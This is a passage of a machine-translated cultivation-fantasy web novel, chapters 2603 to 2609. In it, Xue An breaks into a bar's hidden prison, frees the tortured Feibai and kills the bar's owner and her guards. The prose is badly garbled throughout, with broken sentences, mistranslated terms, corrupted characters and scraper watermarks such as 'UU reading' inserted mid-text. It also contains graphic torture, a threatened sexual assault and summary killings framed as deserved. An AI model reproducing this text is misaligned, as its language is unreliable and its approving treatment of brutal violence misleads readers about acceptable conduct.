    But I never expected that it was such a seemingly simple task that caused the black snake to directly capsize the boat.


    The elite subordinates that ���� took to round up were wiped out in just one face, and even Black Snake himself almost died on the spot. If he hadn''t seen the chance and escaped in time, he might have been unable to return.


    In the end, he relied on the reinforcements sent by the boss to reluctantly grasp the mission goal.


    But his men also lost all due to this.


    That was the elite team he carefully cultivated, and it disappeared into the shapelessly, the black snake''s heartache can be imagined.


    The key is that the guy behind Zixie actually fell into trouble, and won the follow-up capture mission, but because of the loss of his subordinates, he could only watch.


    This kind of taste naturally made the black snake full of anger, so he will only appear in the bar lobby today, just to find a sweet grass and give it a good vent.


    After searching for a long time, I found that they were all vulgar powders, and the black snake couldn''t help being more irritable, so he retaliated and asked his men to increase the dose of the medicine in the air.


    It never occurred to him that when he was about to give up, he was unexpectedly happy.


    Looking at the handsome and upright figure of the leader, the black snake couldn''t help licking his lips greedily, then walked straight out of the room, into the lobby, and walked towards the place where the three of them were.


    But when he walked halfway, he saw that the three people in the distance actually went straight through the crowd and walked towards the top of the stairs.


    The black snake''s heart moved, even if the spin stopped.


    It��s not surprising if you just pass by here and then come in to see the lively tourists.


    Although the city is not too big, but because of the chaos here and the overwhelming reach of the federal government, many desperate people will come here to look for opportunities.


    But the problem is that these three people don''t seem to want to have fun, instead they want to go to the second floor.


    You must know that the second floor of the drunk dance bar is where the boss lives. Unless you reach a certain level, it is impossible to go up.


    What do they want to do?


    Did you know the boss?


    These thoughts flashed through Black Snake''s mind.


    At the same time, Hu Ye whispered: "Old Xue, there seems to be someone spying on us behind him!"


    Xue An didn''t even turn his head, just smiled faintly: "I see, it would be surprising if no one spied in this kind of place, UU reading don''t care about him."


    said, Xue An and the three people came to the top of the stairs.


    Just then, a waitress came down from the second floor with a tray, and she was shocked when she saw Xue An and the three.


    "What do you want to do?"


    Xue An smiled slightly and pointed upwards, "Excuse me, is this going to the second floor?"


    The waitress was obviously also shocked by Xue An''s indifferent aura, and she nodded hesitantly.


    "Yes Yes!"


    "That''s good, thank you!"


    As he said, Xue An stepped up the stairs and was about to walk to the second floor.


    "Hey wait a minute!"


    The waitress suddenly thought of something, and immediately called Xue An.


    Xue An stopped, "Why, is there anything else?"


    The waitress''s face was a little red, but she was still a little worried and said: "I don''t know what you are doing on the second floor, but I still advise you, it is best not to go up."


    Speaking of this, the waitress added, "Because the big boss is in a bad mood now! It''s easy to get angry after you go up."


    (end of this chapter)

 Chapter 2604： hell

    Chapter 2604 Hell


    This advice is from the heart.


    Xue An couldn''t help but smile again when he looked at the good-looking waitress.


    "Thank you, but I think your big boss would be happy to give us advice!"


    After that, Xue An walked upstairs without looking back.


    But he didn''t know, but his ambiguous words made the waitress dream.


    I am happy to comment on us?


    Could it be that this good-looking and incompetent boy is the face of the big boss.


    Um!


    must be so!


    What a pity.


    Thinking of this, the waitress couldn''t help sighing, turned around and was about to leave, just as the black snake arrived.


    asked ferociously as soon as he saw her: "What did those three people say to you just now?"


    The waitress was taken aback, and then stammered: "No...nothing, he just asked me if I was going to the stairs on the second floor!"


    "that''s all?"


    "that''s all!"


    "Hmph, go down first, and I''ll settle the account with you later!"


    The black snake snorted coldly, and the next one also walked to the second floor.


    The waitress was stunned in place, until the black snake''s figure had disappeared at the corner of the stairs, only then did Lingling shudder, and then she ran away pale.


    Not to mention the waitress, and said that Xue An and the three people soon came to the second floor.


    The layout here is much more luxurious than on the first floor. There are expensive handmade carpets under the feet, and there is no sound when you step on it.


    And there was no sound from the first floor at all, which made it a bit scary to be quiet here.


    Although Si Qingqing was anxious about his brother''s affairs along the way, she really waited in the magic cave of this legend. Looking at the closed rooms along the way, she couldn''t help but swallowed her saliva, her voice trembling. .


    "Where is my brother?"


    Xue An said lightly: "Don''t worry, you will see him soon!"


    said, he strode deep into the corridor.


    At the end of this corridor stands a gate made of stainless steel alloy, and there are many complicated runes carved on it, which is strong enough to make ordinary monks despair.


    But after standing here, Xue An couldn''t help but sneer at the corner of his mouth, and then flicked his finger.


    did not see any changes, and then the door made of stainless steel alloy opened.


    Then Xue An led the two into it.


    Seeing this scene, the black snake following almost didn''t stare out.


    As one of the boss''s most respected subordinates, he knows better than anyone how strong this iron door is.


    Even if it''s me, I don''t want to enter it without any trouble.


    But the boy in white clothes just flicked his finger, and then the iron door opened.


    What kind of power against the sky is this?


    The black snake''s heart trembled suddenly, and he really wanted to turn around and quit from here.


    But when he thought of the arrogant face of Zi Xie, he couldn''t help gritting his teeth, and then followed him like a fierce one.


    If this guy is a friend of the boss, it''s a big deal that I can find an excuse to leave when the time comes.


    If not, then show up in time, the boss will definitely look at himself differently.


    The so-called wealth and wealth are in danger, this is a great deal.


    So he soon followed into the iron door.


    Behind the iron gate is not a room, but a place similar to a prison.


    Both the left and right sides are iron prisons made of alloy as thick as arms, and many people are held in them.


    But it can be seen that these people have all suffered brutal and inhuman abuse, and some have turned into bones. Even the living are sitting there with numb faces, like a statue of a corpse.


    There is an unpleasant smell in the air, the lights are dim, the walls and the floor are covered with blood stains, with those creepy instruments of torture, it is really like hell, and it is very scary.


    Si Qingqing was not afraid at this time. Not only was he not afraid, but he also felt full of anger and worry.


    Is my brother locked up in such a place?


    Did he suffer inhuman abuse?


    At this point, Si Qingqing''s heart is like a knife.


    At the same time, there was a faint sound of beating and scolding in the distance.


    "This kid''s bones are so hard, he insisted on it for so long and didn''t say it!"


    "If you don''t tell me, the boss has issued an order. Today, you must pry this kid''s mouth open! Give him some more stuff, I don''t believe that he is really an iron man."


    With the sound of scolding, there was a dull sound of heavy objects hitting the flesh, but it was like hitting a meat pocket, except for this dull sound, there was not even the slightest response.


    Ke Si Qingqing''s face turned pale and tears in his eyes.


    "elder brother!"


    She yelled in a low voice, and then looked at Xue An with pleading eyes.


    Needless to ask, it is Feibai who is suffering from punishment at this moment.


    Xue An did not hesitate, and came to the sound of the sound.


    This is a small cell, but inside it is placed various instruments of torture. At the same time, there is a stake made of stainless steel on which a person is **** with an iron chain.


    Although his face was bloodstained, Xue An recognized the person at a glance. It was Feibai, the descendant of Yujian Villa from the Kunlun Secret Realm.


    But at this moment, he no longer has the spirit of the past, but is bound to the pile with bruises.


    Even if someone was waving a special torture stick to greet him viciously, he didn''t struggle a bit, just like a dead body, without any reaction at all.


    Xue An frowned slightly, just about to do it.


    At this moment, UU reading may be tired from playing, or he may be afraid that if he continues playing like this, he will really kill him.


    The man who did it stopped the torture stick in his hand, looked at Fei Bai panting, and then stretched out his thumb.


    "Boy, although we are not the same, I have to admire your patience. You are the only one who can last a full day in the hands of our brothers but never even said a word! This alone One point, you are a man!"


    Feibai still has no response.


    The man dropped the stick in his hand and sneered, "But don��t think this is enough. I know it��s hard for a person like you to be succumbed to punishment, but you are also a human being. I guess, do you have a younger sister named Si Qingqing?"


    These last words made Feibai''s eyes quickly show brilliance.


    Seeing this scene, this person couldn''t help but smile slyly.


    "I can hear people say that your sister is very beautiful! Tsk tsk, don''t worry, you two brothers and sisters can meet here soon, because the boss has sent Master Zixie out, I believe it will not be long, he will I can get your sister back, by then..."


    The man squatted down and looked at Feibai with a silver smile on his face.


    "I promise that I will be the first person to go to her, and I will be in front of you, letting you watch, but there is nothing you can do."


    (end of this chapter)

 Chapter 2605： Blood as a sword

    Chapter 2605 blood as a sword


    These words are extremely vicious, and coupled with this person''s wicked and evil expression, it is like the whispers of a devil, which makes people shudder.


    At the same time, the other people in this special control room also laughed, and some people laughed wantonly while laughing.


    "Fourth old, do you think you can still get you in this turn? Master Purple Scorpion must have been on the spot."


    "Yes, I heard that Master Purple Scorpion loves fresh and tender girls the most. It is estimated that at this time this kid''s sister is crying and begging for mercy under Master Purple Scorpion!"


    These insulting and vicious words made Xue An, who was hidden in the void, couldn''t help frowning, but he didn''t do anything.


    Because just now, he felt an awe-inspiring killing intent.


    Although this killing intent disappeared in a flash, it was very faint, and if you didn''t pay attention, you might neglect it.


    But Xue An still keenly sensed that the source of this killing intent was Feibai.


    That''s right.


    is the severely wounded Feibai who is fastened to the stake by a chain made of fine gold.


    Xue An''s mouth raised slightly, his eyes full of playfulness, and he was ready to take a look at what Feibai planned to do.


    At this moment, Feibai slowly raised his eyes and said the first sentence from the beginning of his torture to the present.


    "What do you...want to know?"


    The voice is dumb and unpleasant, obviously very weak.


    The guard, known as the fourth oldest, smiled with joy, and said with a strange smile: "Finally, are you willing to speak? Of course it''s all you know!"


    "Okay, come here, I will tell you now, but only if you can''t hurt my sister!"


    "Don''t worry, as long as you cooperate obediently, we will treat your sister kindly!"


    said, the fourth oldest happily approached Feibai and listened.


    The whole process was completely defenseless.


    In fact, he doesn''t need to be guarded.


    Therefore, Feibai''s whole body bones are broken at this moment, the meridians are all damaged, and he is also bound by the fine gold chains. Apart from being able to speak, he is almost indistinguishable from the dead.


    How can such a person be threatened?


    But he never expected that it was his negligence that caused him to pay a heavy price.


    When he just got close to Feibai''s ear, his dying Feibai eyes burst, and then he suddenly opened his mouth, and a blood sword pierced out like a horse.


    Because the fourth child��s head was so close to Feibai��s mouth, and the incident happened suddenly, the fourth child didn��t even have time to hum, and was pierced directly into one of the temples by the blood sword. middle.


    ��!


    Accompanied by a muffled noise, this blood sword rushed out from the other end of the head, brought out a dash of brains, and splashed all over the ground.


    This sudden scene made all the guards present stunned.


    But this wasn''t over at all, I saw this blood sword hovering in the air, and then slashed away according to the heads of these guards.


    "Ahhhhh!"


    These people let out a miserable howl, trying to escape.


    But how could their speed be comparable to Jianguang, so in just a blink of an eye, they listened to bang bang bang, and after a few muffled noises, all these people''s heads exploded, and then the dead bodies fell to the ground.


    After finishing all this, the blood sword suddenly dissipated, turned into a shower of blood, and fell on the ground.


    Looking at Fei Bai again, his face looked like a piece of white paper, and his eyes were extremely dim.


    Xue An, who was hidden in the void, couldn''t help sighing secretly after seeing this scene.


    He can naturally see the origin of the sword just now.


    said it was a blood sword, but it was actually just a burst of blood that Feibai bit through his tongue.


    The price of doing this is that Feibai will severely deplete his cultivation base and lifespan, and even cause irreversible damage.


    But Xue An had already expected this result.


    After all, even if he is in jail, even if his body is bruised, but as a sword repairman, how can this Feibai be a sword repairer, how can he tolerate these young people being rampant in front of him?


    What''s more, they dare to talk about the extremely dirty threats.


    This is even more unbearable for the pride of being a sword repairer.


    Therefore, Feibai would rather suffer huge damage and use blood as a sword to kill all the people present.


    And Xue An guessed it right.


    Although these people have imposed various cruel punishments on Feibai, Feibai didn''t care.


    After all, what he is practicing is the purest way of heart sword.


    As long as a sword heart is not broken, this genre can quickly restore the cultivation base, so Feibai didn''t take the skin and flesh wounds on his body at all, and even used it as a means to temper his sword heart.


    But it never occurred to them that these people actually died to threaten Feibai with his sister.


    This touched Fei Bai''s inverse scales.


    Although he and Si Qingqing are not close brothers and sisters, the years of getting along with each other have made him regard them as his own sisters.


    So when these people said those sordid words, their fate had quietly come to an end.


    "Pop, papa!"


    There was a burst of applause, and then the wall of the cell was full of waves, and countless gears turned to give way to a passage.


    The applause came from the channel, and it got closer and closer.


    Soon, a graceful figure appeared in the passage and came with money.


    When this person appeared swayingly under the light, she was a charming woman.


    This woman wore a well-tailored cheongsam with extremely bold split ends, setting off the devil''s figure more and more proud of the crowd.


    But the most attractive thing is the charming expression of this woman, UU Reading www. Although uukanshu.com is just a casual glimpse, there are thousands of styles in it.


    Undoubtedly, this is a rare stunner.


    A woman like this should only appear on a luxurious feast or a glamorous stage.


    Ke Feibai sneered after seeing the woman, "It seems you can''t help it at last, the boss of Drunk Dance Bar!"


    That''s right!


    This weak woman who looks feminine from any angle and makes people just want to protect is the big boss of this famous drunk dance bar, the head of the backstage.


    And after hearing Feibai''s words, the woman laughed first without saying a word. The laughter was charming and beautiful. With the trembling body, it really made people jump out of their eyes.


    Xue An, who was hiding in the void and preparing to show up, suddenly went out in no hurry after seeing this scene.


    Because in his eyes, this woman is far from being a stunner who charms all beings.


    As expected.


    After laughing for a while, the woman gradually reduced her laughter, and then said softly with her chest raised.


    "Fei Bai, I have to say that you are indeed a man, at least I have never seen anyone who can be so hard-hearted after a full day of punishment!"


    (end of this chapter)

 Chapter 2606： Mechanical hell

    Chapter 2606 Mechanical Hell


    "But do you know why I only appear now? It''s because I have to wait for you to display all of my last hole cards! After all, I don''t believe that a swordsman with a good reputation can simply give in. Sure enough, you really hid After the move!"


    Speaking of this, a triumphant look appeared on the woman''s face.


    Feibai stared at the woman coldly, "Then you are really cautious!"


    "Hahaha, thanks for the compliment! No way, if people like me were not cautious, they would have died 800 times."


    The woman cast a wink at Feibai, "So now are you ready to say it?"


    Feibai sneered, "I really don''t know what you want to know."


    "Tsk tsk, are you still reluctant to reveal your tone at this time? Well, I will remind you now, how did you get that video? Who has watched it?" the woman asked.


    "What video? I don''t know!" Feibai responded without hesitation.


    The woman''s complexion gradually darkened, "It seems that you really can''t see the coffin without weeping, OK, let''s not say it! Then you see what it is!"


    As she said, the woman waved her hand, and two ultra-micro drones flew out of her sleeves, and then projected a light curtain in the air.


    Above the light curtain are the images of Fox Ye and Si Qingqing.


    Flying white eyes shrank instantly.


    And then the woman sneered.


    "I think you know this man too. I really don��t understand the leading figure among the younger generation of the Fox Clan in Qingqiu at Hongyu Villa. How could your sister get entangled with such a character? Or is it all about you? Is it deliberately arranged?"


    At the end, the woman''s eyes were full of uncontrollable killing intent.


    It can''t help her not to think so.


    After all, the timing of Fox Night''s appearance was too coincidental, and he was still with Si Qingqing, who would believe that if there were no ghosts in it.


    It is precisely because of this that she will be full of anger, because she is greedy and eager, and has long regarded Feibai as a forbidden.


    Anyone who vainly tries to meddle with this secret will become her mortal enemy.


    Feibai naturally saw her anger, and couldn''t help but sneer under her heart.


    "What about it? After all, I have to leave a trick for my sister, right?"


    "Sure enough!" The woman gritted her teeth, then waved her hand again, and the light curtain changed, revealing the scene when Xue An, Huye and Si Qingqing had just stepped into the bar.


    "Then who do you think this man is?"


    After seeing Xue An��s face, he was originally calm and pale, his complexion changed abruptly, and his pupils instantly shrank to the size of a pinpoint.


    Seeing his reaction, the woman sneered again and again.


    "Are you surprised? To be honest, I was shocked when I saw this picture, because this man is exactly the same as the person in the video you carried!"


    "So what secrets are hidden inside? Tell me now, I can forget the past, and even let you go!"


    Although Feibai was inexplicably shocked, he quickly calmed down, and he didn''t believe this woman''s nonsense at all, so he sneered a few times.


    "Do you think I can say it?"


    The woman was furious.


    "Okay! It seems that you think that with the appearance of these people, you have the hope of escaping, right?"


    "I''ll tell you frankly now, don''t be wishful thinking, because as early as the moment they took your sister into this bar, I have noticed them! Look what this is!"


    The light curtain changed again, and then a huge mechanical labyrinth appeared.


    The whole body of the maze is made of unknown metal, and the walls and the ground are carved with extremely powerful magic circles. Although there is a screen separated by a layer of screen, you can still feel the magnificence and solidity of this maze.


    And in a corner of the maze, there are both Fox Ye and Si Qingqing.


    I saw them trapped in this corner, vainly walking back and forth in the tortuous passage.


    The woman��s face appeared complacent, "Have you seen it? This is the mechanical labyrinth that I have painstakingly built for many years. Although this fox night is a leader of the Qingqiu fox clan, it is only a maze after entering it. It''s just a trapped beast!"


    "As for the other man''s whereabouts has not been found yet, don''t worry, I am an omnipotent **** in this bar. As long as he is here, he can''t escape from my palm!"


    "So now you only have one choice, that is to cooperate with me and explain the source of this video to me!"


    With the voice, I saw that the light curtain changed again, and then a slightly blurred video was played.


    The first to appear in the video is a huge battlefield.


    This battlefield is located in the void, full of countless dead bodies.


    In the middle of the battlefield, a fierce battle is still going on.


    The fighting side is the "Protoss" full of tentacles and slime, while the other side is the human race and the coalition forces of various races.


    These coalition forces are obviously powerful people who have been successful in cultivation. Although they were injured, they still moved forward courageously and struggled with these "Protoss".


    But the most striking thing is the boy in white at the core of the battle.


    I saw that he had almost taken all the pressure on his own, fighting with these powerful protoss.


    Every move and every style he sends has the power to destroy the world, which is shocking.


    Xue An, who was hiding in the void, was also shocked after seeing this video.


    Because he can tell in an instant, the video recorded by UU reading is exactly the scene when he led the fox and dragons and other ethnic coalition forces to snipe and invade evil things.


    But isn''t there any trace of my existence in this world after being tampered with?


    What happened to this video?


    Xue An is full of doubts in his heart.


    At the same time, the woman rushed into the white hysterically and roared: "Now tell me, where did you get this video! Who is that man?"


    Feibai straightened her chest, and shook her head solemnly, "I don''t know what you are talking about!"


    The woman collapsed instantly, and then she sneered.


    "Okay! Very good! It seems that you are really a hard bone, but today you are a piece of steel, I have to grind you into powder!"


    said, the woman stomped her feet with red eyes, and the cell under her feet began to rumblingly transform.


    It turns out that this drunk dance bar is a huge mechanical creation, and this woman is the administrator with the highest authority.


    "Welcome to the real hell, I hope you can keep this awake state in the future."


    The woman said coldly, and at the same time countless torture instruments that could not even be named began to appear one after another, which made people shudder.


    (end of this chapter)

 Chapter 2607： Carter family

    Chapter 2607 the Carter Family


    But as soon as she finished speaking, she heard a faint sigh behind her.


    "It seems you want to know who I am!"


    As soon as she said this, the woman became stiff, but she reacted very quickly and immediately turned around and looked at it.


    A figure gradually emerged not far behind her.


    In an instant, the pupils of this woman and Feibai who were tied to the stake all shrank sharply.


    Because the person who appeared in front of them was Xue An.


    After seeing this face that is as indistinguishable as the man in the video, Feibai''s heart shook wildly and suddenly remembered a sentence.


    A warning from the other party when I got this video.


    If you see this man in the video, you must be humble and don''t make mistakes, otherwise you will cause serious disaster.


    Feibai at the time was a bit disapproving, but after seeing Xue An, he deeply realized how correct this sentence was.


    Not to mention anything else, the breath felt from this man is enough to make people desperate, let alone resist.


    Especially for Feibai who specializes in kendo, this feeling is even more profound.


    At the same time, the woman quickly reduced the surprise in her eyes, and then sneered: "I didn''t expect that you really dare to show up!"


    Xue An said lightly: "Oh? Why didn''t I dare to show up?"


    The woman raised her chin proudly, "Because once you show up, it means that your death date is approaching."


    Xue An is nothing but a laugh.


    It''s been a long time since he heard anyone dared to talk to him like this.


    therefore smiled and said, "Are you threatening me?"


    "No, I''m just explaining a fact!"


    Speaking of this, a condescending alms appeared on the woman''s face.


    "In fact, this is fine, at least it saves me the trouble of catching you, and now I will give you two choices."


    "One, obediently catch it, explain clearly what is going on in this video, and then wait for my hair to fall."


    Xue An''s eyes were slightly cold, but he still said in a calm tone: "What about the two?"


    "Two is very simple, that is death!"


    "But what if I don''t choose either?" Xue An said coldly.


    As soon as ����''s words fell, the ceiling above Xue An''s head, the surrounding walls, and the floor under his feet were all rapidly changing forms.


    In an instant, countless spears and cannons were aimed at Xue An.


    And accompanied by the buzzing sound of charging, the muzzle of these guns glowed with a dangerous blue light, apparently having accumulated destructive power.


    The woman sneered, "I just didn''t catch it, you say it again now, what do you want to choose?"


    The arrogance and complacency in the words are undoubtedly revealed.


    Facing the countless gunpoints, Xue An didn''t even blink his eyelids, just said lightly.


    "I said, what if I don''t choose either?"


    "Then you go to death now!" A fierce look flashed across the charming face of the woman.


    Then the countless guns fired together.


    The deep blue flame blasted towards Xue An with a deafening loud noise, and completely submerged it in the blink of an eye.


    The gunfire has become so dense that it is indistinguishable.


    The corners of the woman''s mouth raised slightly, and a cold and cruel smile appeared.


    In her opinion, no one can survive such a dense barrage.


    So this man is dead.


    Fei''s pale complexion also became very solemn.


    Although he didn''t believe that the existence that could threaten him so strongly would fall so easily.


    But it is undeniable that the firepower controlled by this woman has reached a point of madness.


    Even in his heyday, facing such a concentration of fire, it is estimated that it will not be spared.


    But at this moment, in the impermeable bullet rain and the long-lasting blue flame, a hand suddenly and slowly stretched out.


    This hand is slender and slender, like a carved sapphire, with a strange beauty.


    But as soon as such a hand that looked like a woman appeared, the flood of bullets that had been madly pouring suddenly stopped like pressing the pause button.


    Immediately afterwards, this sky full of bullets disintegrated into nothingness in an instant.


    These guns disappeared along with them.


    I saw these guns as if they had received some kind of great force from the void, directly twisting the knots and turning them into a pile of scrap iron.


    The whole process took only a few seconds, and it was just now magnificent. It seemed that the rain of bullets that was about to blast a big hole in the space was completely wiped out.


    Then the flame dissipated, and Xue An''s figure reappeared.


    Looking at him at this time again, his white clothing is still as snowy, without even a trace of wrinkles.


    It''s as if the countless bullets just hit me lonely.


    Seeing this scene, the old **** was there, and the woman waiting to collect Xue An''s body couldn''t help being stunned.


    As for Feibai, he was even more shocked.


    Because he can clearly feel that Xue An''s seemingly ordinary palm just now contains a supreme sword intent.


    It is precisely because of this that these guns and rain of bullets will disintegrate instantly.


    "Now, what else do you want to say?" Xue An looked at the woman and said lightly.


    The woman gradually regained her consciousness, then she reduced the astonishment on her face and nodded slightly.


    "Yes, you really have two brushes."


    There is no sign of fear in the words, but a bit of domineering.


    In response, Xue An raised his eyebrows slightly.


    "Listening to what you mean, you don''t seem to be afraid at all."


    "Afraid? Why should I be afraid? I am afraid that you will kill me? Stop it, do you know what my true identity is?" The woman snorted. UU reading


    "What is it?"


    "Listen, my name is Grace Carter, and I am a member of the great Carter family."


    "Grace Carter?"


    "That''s right!" The woman nodded proudly.


    Xue An took a deep look at her face, which was obviously of Oriental descent, and said coldly: "What about then?"


    This Grace obviously didn''t expect Xue An to ask such a question. She couldn''t help but stunned, Xuan even said with sarcasm on her face.


    "You don''t even know the great Carter family, do you? You must know that Mr. Rutherford Carter is a member of the Carter family, the current vice chairman of the Federal Security Council."


    "As for the other members of the Carter family who are scattered around the federal government holding important positions, they are countless!"


    "It is no exaggeration to say that the current federal government is the back garden of our Carter family. Don''t you even know this?"


    Xue An shook his head, "I don''t know, and I''m not interested in knowing. And what do you say has anything to do with me?"


    "Of course it does!" Grace said arrogantly.


    "I don''t know how your video was faked, but I think if you still want to live, you''d better cooperate with me obediently, otherwise..."


    (End of this chapter)

 Chapter 2608： Science Reform Society

    Chapter 2608 Science Reform Society


    "Cooperation? How to cooperate?" Xue An said with a smile.


    "It''s very simple, hand over the person who falsified the video and spread it, and then tell me what your purpose is. Only in this way is your only...!"


    But before she finished her words, the whole person floated uncontrollably.


    Of course, this is not to say that she has any special abilities, it is all because Xue An suddenly appeared in front of her, then grabbed her neck and pulled her abruptly from the ground.


    This Grace didn''t expect that Xue An would dare to attack herself suddenly, especially after he had revealed his identity, so she looked at Xue An with shock.


    Xue An just smiled coldly, "Now I also give you two choices, the first is death, the second is death, which one do you choose?"


    "I... I am a member of the Carter family. If you kill me, have you ever thought about the consequences?" Grace said with difficulty.


    Xue An just smiled faintly at this, "If I''m not mistaken, your so-called Carter family should belong to country m, right?"


    "Yes! It is from the great chosen country, the land that God loves." Grace said proudly.


    In the next second, Xue An''s arm suddenly used force, and all her pride was strangled in her neck.


    "I really wonder why you, who originally had Chinese blood, are so flattering to a foreigner, and I think, in order to join this so-called Carter family, you must have paid a lot of price, such as betraying your soul. And the flesh, right?"


    Grace''s eyes showed a trace of panic, but she insisted.


    "No... No matter what you say, the Carter family will not let you go. That is a powerful family that occupies many seats on the Federal Securities Office''s board of directors. It is not what you can imagine!"


    "Hehe!" Xue An sneered, "I forgot to tell you, after you die, the so-called Carter family, and even the entire federal government will be buried with you."


    If someone else said that, Grace would sneer.


    But now she was strangled by Xue An''s throat, and at the same time she could clearly feel the cold killing intent in Xue An''s eyes, and she couldn''t help being arrogant, and screamed hysterically.


    "You killed me, wouldn''t you be afraid of your companions being hurt? As long as I die, the mechanical maze will be locked immediately, and they will never be able to get out."


    Xue An said lightly: "You still don''t know him. Although he is usually a little tired and uncomfortable, he can''t be trapped by a maze in your area!"


    As soon as the voice fell, a triumphant laugh came from the void.


    "It seems that you still understand me, Old Xue!"


    Immediately after that, the figures of Hu Ye and Si Qingqing appeared.


    Then Huye dropped an object casually.


    ��.


    The object fell to the ground with a dull sound.


    is impressively a figure.


    Then he heard Hu Ye say triumphantly: "In fact, we have already come out, but in order not to prevent you from pretending to be x, so we kept hiding in the void and didn''t come out!"


    When ���� was speaking, he saw the figure on the ground squirming a few times, and then groaned in pain.


    Only then did Grace realize that this figure was actually his own black snake.


    It''s just that the black snake at this moment has no arrogance of the past, but is as sluggish as a dead snake whose tendons have been removed, and can''t even lift its head.


    At the same time, Hu Ye smiled and said, "Speaking of which we can get out of the maze so quickly, we still have to thank this guy."


    "At the time, this kid didn''t know what was going on and got caught in the maze, so I grabbed him, searched for the memory in his mind, and got out of it smoothly."


    It turned out that the black snake''s tail followed Xue An and Huye and his group to the outside of the prison area on the second floor.


    He wanted to act by chance, so he could take credit in front of Grace.


    But he didn''t expect Grace to take a sudden move and directly send all the lives in the corridor into the mechanical maze.


    Of course, this black snake is also included.


    But at any rate, he is also Grace''s confidant. He knows some of his boss''s methods, so he is not too flustered and is about to escape.


    However, he didn''t expect that Huye would find him, and then decisively captured him, and escaped smoothly.


    Seeing that even her last means of life-saving had lost its effectiveness, this Grace finally felt deep fear.


    wanted to beg for mercy, but Xue An didn''t even give her this opportunity, so he broke her neck neatly.


    Click.


    After a burst of fracture, Grace''s head twisted to the other side at a weird angle, hitting the black snake lying on the ground groaning in pain.


    His red eyes were staring straight at the black snake because of the rupture of the blood vessel, causing him to split his liver and gallbladder.


    "Be spared! Be spared! I don''t know anything, it''s all she instructed me..."


    ��!


    A ray of sword light passed by.


    Black Snake''s head fell in response, and in the air, he said the last word.


    "what!"


    Then there was no more sound.


    After finishing the head and tail neatly, Xue An stepped to Feibai and waved his hand.


    Those chains made of fine gold shattered.


    At the same time, Feibai felt a majestic power burst into his body, madly repairing the severely damaged body.


    In the blink of an eye, Feibai''s injuries recovered seven or eighty-eight, and then stood up and looked at Xue An with a dazed expression on his face.


    Until now, UU Reading www.uukahnshu. Com, he is still falling into the fog of Wuli, especially don''t understand the origin of this man.


    Xue An didn''t explain anything, because no matter how much it was said at this time, it was a fuss. He asked straightforwardly.


    "Who gave you that video?"


    Feibai hesitated for a moment.


    At this moment, Si Qingqing stepped forward, "Brother, don''t hide anything anymore. If it weren''t for these two brothers to rescue me this time, I must have been in an accident now, so just say it. "


    Sister''s words finally dispelled Feibai''s worries, he let out a long sigh.


    "To be honest, I got this video from the Science and Technology Change Everything Development Agency."


    Technology changes everything development society?


    Xue An and Hu Ye looked at each other, and then said a name in unison.


    "Zhang Tianyou!"


    Feibai was also quite surprised.


    "Do you also know President Zhang?"


    Soon he thought of something again, and he suddenly realized: "Yes, you are a young handsome man of the Qingqiu Fox Clan at Hongyu Villa. It is not surprising to know President Zhang!"


    "But who are you? Why do I always feel so familiar after seeing you?" Feibai wondered.


    (End of this chapter)

 Chapter 2609： Kill the chicken and the monkey

    Chapter 2609


    In fact, this question has long since become blatant, and it can even be traced back to the first time I saw the video.


    At that time, Feibai felt that the boy in the picture was very familiar, but he couldn''t remember where he had seen it.


    But this feeling is so strong that it has become one of the important incentives for Feibai to leave the Fire Phoenix and explore the secret behind the video alone.


    After seeing Xue An himself, Feibai felt an inexplicable familiarity and respect even more uncontrollably.


    is as if the other party is an elder teacher who has been lost for many years.


    That''s why he asked.


    Xue An smiled slightly, "Familiar? That''s right, because you used to be the Kunlun Secret Realm that I personally brought out."


    After saying this, Xue An turned and left, leaving Fei Bai standing in place with a confused face.


    What''s the meaning?


    It was the Kunlun mystery that he had walked out of at the beginning, how come he came to this person''s mouth to become the one who brought him out?


    And how did he know that he was born in the Kunlun Secret Realm?


    Feibai felt that this matter seemed to be getting more and more complicated.


    "Brother, what are you thinking? Hurry up!" Si Qingqing said.


    Feibai just woke up suddenly, and then shook his head, temporarily forsaking these questions, followed Xue An and Huye, and walked out of the prison area.


    At this time, the second floor has become empty. When Xue An killed Grace before, he took the entire second floor guards by the way.


    It''s not that he took a cruel move, but that these people took the blame and deserved it.


    As for those who are imprisoned, even if they are alive, they have collapsed. Except for breathing, they are no different from dead people.


    The reason for this is because these guards imposed too many cruel and inhuman punishments on them, which eventually led to the disintegration of these people''s spirits.


    So Xue An simply gave them relief.


    Soon, the group of them turned the corner and came to the platform at the top of the stairs.


    Here, everything on the first floor is in a panoramic view.


    The deafening music still didn''t stop, and the people on the dance floor were dancing nervously.


    Everything that happened on the second floor did not have any impact on the lobby of this floor.


    Even because of the black snake''s instructions before leaving, the stimulants in the air were far beyond the usual standard, which caused the entire first floor to fall into hysterical madness.


    Faced with the scene of the dancing demons, Hu Ye frowned slightly.


    "I''m crazy, I''m completely crazy, if this continues, these people will have to be disabled if they don''t die, what should Old Xue do?"


    In fact, with the strength of Fox Night, it couldn''t be easier to suppress these people present and force them to wake them up.


    But this drunk dance bar is vicious because the stimulants released are specially made.


    If there is no corresponding antidote, forcibly awakening will only hurt the mentality of these people.


    For those who have the cultivation level, fortunately, ordinary people may become fools directly.


    Although it is not a good person to be able to appear here, he is not guilty of death.


    That''s why Huye felt a little embarrassed.


    Xue An seemed to be prepared for this, and smiled faintly: "What do you think is the best way to wake up a person who is in madness?"


    "what?"


    "That is to give him a greater stimulus, after all...do you use poison to fight poison?"


    God **** fights poison with poison!


    Hu Ye just wanted to complain.


    But at this moment, I saw Xue An waved his hand, and a sword beam was spinning in the air like a horse.


    ������!


    Those dazzling spotlights shattered in response to the sound, and those shattered speakers were also shattered along with them.


    In an instant, the sound stopped and the light went out.


    The audience fell into dead silence for an instant.


    All the people present who were caught in extreme excitement were all taken aback, and looked around at a loss, completely unaware of what was going on.


    suddenly.


    I saw a light above everyone''s head, and then a glass coffin appeared in front of everyone.


    The coffin was illuminated by the light, and there was a lifelike human specimen lying inside.


    It was this human specimen, but it made everyone feel infinitely frightened.


    First of all, because of this specimen, except for the head, the skin and flesh of all parts of the body have disappeared, but the dense blood vessels and nerves are left intact.


    This is like a perfect operation performed by a surgical master, which is impressive.


    But the most important thing is not this. The key is the face of this human specimen.


    After everyone saw it clearly, they couldn''t help but exclaimed.


    "It''s a purple scorpion!"


    "Gosh, Lord Purple Scorpion has been made into a specimen!"


    "Who did this?"


    The sound of screams came and went one after another, and many people were so frightened at that time.


    There is no other reason.


    It is true that this purple scorpion is usually too prestigious, so in the lobby on the first floor, whether it is the guards or the guests, they are in awe of him.


    At the same time, people also know that what this purple scorpion likes most is to make people into specimens and then collect them.


